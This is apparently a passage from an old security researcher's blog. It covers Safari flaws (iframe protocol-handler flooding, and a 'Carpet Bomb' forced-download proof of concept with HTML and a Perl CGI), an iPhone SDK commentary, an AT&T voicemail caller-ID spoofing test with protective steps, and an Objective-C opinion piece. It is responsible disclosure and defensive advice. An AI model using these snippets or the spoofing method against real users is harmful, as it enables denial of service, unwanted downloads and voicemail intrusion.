<iframe id="frame" src="daap://"></iframe>
<iframe id="frame" src="vnc://"></iframe>
<iframe id="frame" src="x-mini-installer://"></iframe>
...
...
...
<iframe id="frame" src="macosxserverinvite://"></iframe>
<iframe id="frame" src="apconfig://"></iframe>

</HTML>

The following video capture demonstrates what would happen if you landed upon such a malicious site:

This may seem more of an annoyance at first glance, which in itself is an issue: denial of service towards the victim user’s desktop session. Furthermore, this behavior has the potential to be abused to exploit defects in how receiving applications accept the launch parameters and also to potentially feed local applications with malicious data that can in turn result in a compromise.

Given the continued rise in OSX’s market-share, and given the fact that Apple has decided to allow security issues like this remain un-patched, the Safari browser is increasingly likely to become the avenue of choice for the new generation of attackers.

Users and corporations beware.

Safari Carpet Bomb

I recently communicated 3 security issues in the Safari browser to Apple.

Apple let me know that they will fix 1 of the issues I reported. I will not discuss the vulnerability Apple has promised to fix until they release the fix because it is a high risk issue affecting Safari on OSX and Windows.

I let Apple know that I'd like to discuss the 2 issues they won't be fixing with the security community and they let me know they are fine with it. A quote from my last email to Apple:

...since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community. Just let me know if you would like me to wait for some amount of time before I do this.

Response from Apple: We understand if you want to discuss these in the security community.

Before I get to the details, I want to make it extremely clear that the Apple security team has been a pleasure to communicate with. I sent them a couple of emails asking for clarifications, and they responded quickly and courteously every time. I want to publicly acknowledge that I appreciate this very much.

Here are the issues I reported:

1. Safari Carpet Bomb. It is possible for a rogue website to litter the user's Desktop (Windows) or Downloads directory (~/Downloads/ in OSX). This can happen because the Safari browser cannot be configured to obtain the user's permission before it downloads a resource. Safari downloads the resource without the user's consent and places it in a default location (unless changed).

Assume you visit a malicious site, http://malicious.example.com/, that serves the following HTML:

<HTML>
<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe>
<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe>
<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe>
...
...
...
...
<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe>
</HTML>

Now assume that http://malicious.example.com/cgi-bin/carpet_bomb.cgi is the following:

#!/usr/bin/perl
print "Content-type: blah/blah\n\n"


Since Safari does not know how to render content-type of blah/blah, it will automatically start downloading carpet_bomb.cgi every time it is served. If you are using Safari in Windows, this is what will happen to your desktop once you visit http://malicious.example.com/ :

The implication of this is obvious: Malware downloaded to the user's desktop without the user's consent.

Apple does not feel this is a issue they want to tackle at this time. In my most recent email to Apple, I suggested that they incorporate an option in Safari so the browser can be configured to ask the user before anything is downloaded to the local file system. Apple agreed it was a good suggestion:

...the ability to have a preference to "Ask me before downloading anything" is a good suggestion.  We can file that as an enhancement request for the Safari team.  Please note that we are not treating this as a security issue, but a further measure to raise the bar against unwanted downloads.  This will require a review with the Human Interface team.  We want to set your expectations that this could take quite a while, if it ever gets incorporated.

[credit to BK have-it-your-way Rios for suggesting the term "Carpet Bomb" to describe this issue].

2. Sandbox not Applied to Local Resources. This issue is more of a feature set request than a vulnerability. For example, Internet Explorer warns users when a local resource such as an HTML file attempts to invoke client side scripting. I feel this is an important security feature because of user expectations: even the most sophisticated users differentiate between the risk of clicking on an executable they have downloaded (risk perceived to be higher) to clicking on a HTML file they have downloaded (risk perceived to be lower).

Apple's response was positive:
...we have been investigating the potential for a "safe" mode for local HTML.  This is an area that requires a fairly deep investigation to address compatibility issues, and to determine the proper operation.  Please understand that when we label this as a security hardening measure, we are not discounting the benefits that this could have.

3. [Undisclosed]. The third issue I reported to Apple is a high risk vulnerability in Safari that can be used to remotely steal local files from the user's file system. Apple responded positively and let me know that they are actively working to resolve the issue and issue a patch. I will post an update if I hear back from them.

I'd like to thank the Apple security team for their timely responses and for letting me discuss these issues with the security community.

The iPhone SDK Press Conference

A quote from Steve Jobs during the iPhone SDK Press Conference last week:

If they write a malicious application we [will] track them down and tell their parents.

In other words, the iPhone applications will need to be digitally signed by Apple, and the developers will be required to register with Apple. It will be interesting to see what kind of information developers will be required to provide to Apple to register. Will they ask for the developer's credit card number? How will the developers authenticate their identity with Apple before they are allowed to submit their applications to be included in the store inventory?

Jobs also displayed the following slide to illustrate what types of applications will not be allowed on the iPhone:

Three points:

• Apple may have a difficult time auditing applications to ensure they meet their criteria. What is the absolute definition of malicious in the given context? Malicious to whom? The end user, Apple, or AT&T? Perhaps all of the above. Now, how does Apple go about obtaining assurance whether a given application is malicious or not? Will someone try out every application that is submitted? Will someone at Apple review the source code of every application to ensure it does not invoke any malicious operations and only calls published APIs?

• Applications may not run in the background. This is quite likely to be a decision based upon processing resource constraints. Note that Apple's own iPhone applications such as Mail, iPod, and SMS do run in the background.


• The Unforeseen clause means that Apple reserves the right to ban any application at any time. Will they be reasonable with the developers? I don't see why they wouldn't be as long as it doesn't hurt their bottom line, for example:

  11:32AM - We asked: Will SIM unlock software be considered software not allowed in the app store?

  A: Steve: (pause) "... yes." Laughter.

A video of the iPhone SDK presentation is available.

iPhone Users: AT&T / Cingular Voicemail Susceptible to Caller ID Spoofing

I just got myself an iPhone and I'm extremely pleased with it. I think it's the best cell phone on the market - a sheer pleasure to use.

The purpose of this post is to alert new iPhone customers about a security vulnerability in AT&T/Cingular's Voicemail system that has not been fixed for more than a year. I first wrote about this on February 1, 2006: Exploit Cingular Voicemail Vulnerability via Caller ID Spoofing. As soon as I got my new AT&T/Cingular number, I tested for this vulnerability and I can confirm that it still exists for new AT&T/Cingular accounts (atleast for iPhone customers). I can't force AT&T / Cingular to fix this issue, but I can tell you about it so you know what to do to protect yourself from this vulnerability.

Here is an explanation of the vulnerability in a nutshell: The AT&T/Cingular voicemail system is configured by default not to ask for a password when you check your voicemail from the handset (it asks for your voicemail password if you call your number from another cell phone and press * when your voicemail answers). Unfortunately, the AT&T/Cingular voicemail system trusts Caller ID to determine if the handset is calling it. Because Caller ID can be spoofed easily (see below), anyone can gain access into your voicemail by calling you and spoofing your phone number (it will appear as if you are calling yourself when your phone rings) - should you not answer the call, your voicemail will answer and allow the intruder full access to your messages.

Here is how to test the vulnerability:

1. Buy a calling card from Spoofcard. This service lets you spoof your caller ID.
2. Use another phone and call your cell phone using Spoofcard. When the Spoofcard asks you what number you want to spoof, enter your number again.
3. Do not pickup your cell phone. When the call goes into voicemail, if you are able to listen to your messages without being prompted for a password, then you are vulnerable.

Here is how to protect yourself from this vulnerability:

1. Call your AT&T/Cingular voicemail (dial your own number from the iPhone).
2. Press 4 to go to "Personal Options".
3. Press 2 to go to "Administrative Options".
4. Press 1 to go to "Password".
5. Press 2 to turn your password "ON".
6. Hang-up and call your voicemail again from your iPhone. If your voicemail system asks you for your voicemail password you are all set.

I sincerely hope that AT&T/Cingular gets around to fixing this huge security hole in their voicemail system.

Can Apple do Better than Objective-C?

Update: After giving some though to one of the responses on my O'Reilly blog, I have decided to take down the email thread between Jobs and myself. I have no way of knowing if Jobs would be OK with me posting the e-mail publicly, even though the contents of the e-mail didn't contain anything private or sensitive.

That said, I'd like to turn this entry into a discussion of what people think of having to use Objective C to code Cocoa applications. Feel free to comment on my O'Reilly blog. Here is my take on the subject: "Although I am a die-hard Apple and OSX fan, I've never cared for Objective-C much. As far as the development world is concerned, it is my opinion that Microsoft has done wonderful things with .NET, while Apple hasn't churned out much innovation (not recently at least.) I'd like to see Apple developers gain more choice. With every iteration of OSX, there seems to be so much effort put into innovation of desktop components, but the development environment is age old. I use Objective C because I have to, while I use recent languages such as C# and ruby because I want to. Take look at with Microsoft is doing with .NET: you can write your own .NET compiler - you just have to make sure it spits out the required IL code. It's beautiful and elegant, and you aren't locked onto one language. It's managed, and therefore a bit more expensive, but unless you are writing real time code, it doesn't matter today: it's not _that_ slow for writing most desktop applications. In short, I'd love to see Apple investigate managed code, and perhaps help bind Cocoa with more interesting and fun languages."

[Again, for comments, please visit my O'Reilly blog]
Update2 (12/27/2005): Thanks to those who commented below - most of the comments have been quite constructive and I've enjoyed reading them. I'd like to add the following notes to supplement my views:

1) I am not suggesting Apple carbon copy .NET and port it to the OSX as is. I am suggesting that Apple put in some resources to investigate the innovations and choices (C#, Python, etc can be used to spit out .NET assemblies. It is possible to write a compiler for .NET as long as they adhere to the IL specification - this is what I mean by more choice) offered by .NET and similarly offer it's developers more choice. I am suggesting that Apple take a _lead_ with offering its developers new paradigms of creating applications. Feel free to comment on your like or dislike for .NET and compare C# to Objective-C if you must, but you'd have lost the gist of my argument.

2) I do not agree that .NET is 'too slow' or only useful for developing quick and dirty solutions. I have come across a _lot_ of good enterprise level implementations of applications coded in .NET. Please don't attempt to convince me that .NET doesn't work for enterprise level applications - I have seen otherwise.

3) I do not agree with the "If its not broke, don't fix it" argument. This is an extremely dangerous argument. It limits progress and innovation. For example, Panther was a great iteration of OSX - why did Apple have to work towards Tiger? If one were to accept the "don't fix it" argument, Apple shouldn't have released Tiger, and Apple doesn't need to release any more iterations of OSX. Everything seems 'not broke' with Tiger today, why bother? The answer: innovation. There has got to be a non-stop iteration of improvements. Apple hasn't disappointed me with progress made towards OSX desktop components, and so I'd be happy to see a stronger push towards more choices and newer methods of development.

4) I do not agree with assertions along the lines of "Objective-C is the best. There is nothing better." Language preference is a matter of _taste_, and this cannot be forced upon anyone. _You_ may like the Objective-C way of doing things, but _I_ prefer newer languages such as ruby and C#. I am suggesting Apple investigate and put in efforts towards giving people more choice. There is no doubt in my mind that more developers will be enticed into developing for the OSX platform if they had more choice. Also see 7)

5) I am not suggesting Apple abandon Objective-C. Clearly, it has a tremendous fan following.

6) I am aware, and I appreciate many community related efforts towards bridging Cocoa with other languages. However, many of these are incomplete, and I'd be delighted if Apple chose to sponsor similar efforts.

7) As with .NET in 1), my example of ruby is just that - an example. I am not insisting that Apple only bind languages such as ruby and C# to Cocoa because I happen to like them. I am suggesting that Apple take a look at how these languages are improving the lives of developers. For all I care, Apple could come up with a brand new language after drawing inspiration from recent innovations of ruby and the like.

8) I am not suggesting that Apple has made no progress in the past few months. For example, I am aware of new solutions such as Core Data and Core Image to name a few.

To sum it up: Apple has blown me away with it's innovation with desktop components. For example, after having used Expose with hot-corners, I can't imagine life without it. I'd like Apple to channel some energy towards giving it's developers more choice of languages, and perhaps learn a thing or two from efforts such as the .NET environment and the ruby language.

Perhaps I should've posted the above with my original post, but I had no idea I was going to get Slashdotted. I've enjoyed most of the comments - but the amount of responses has been quite overwhelming. Much appreciated though!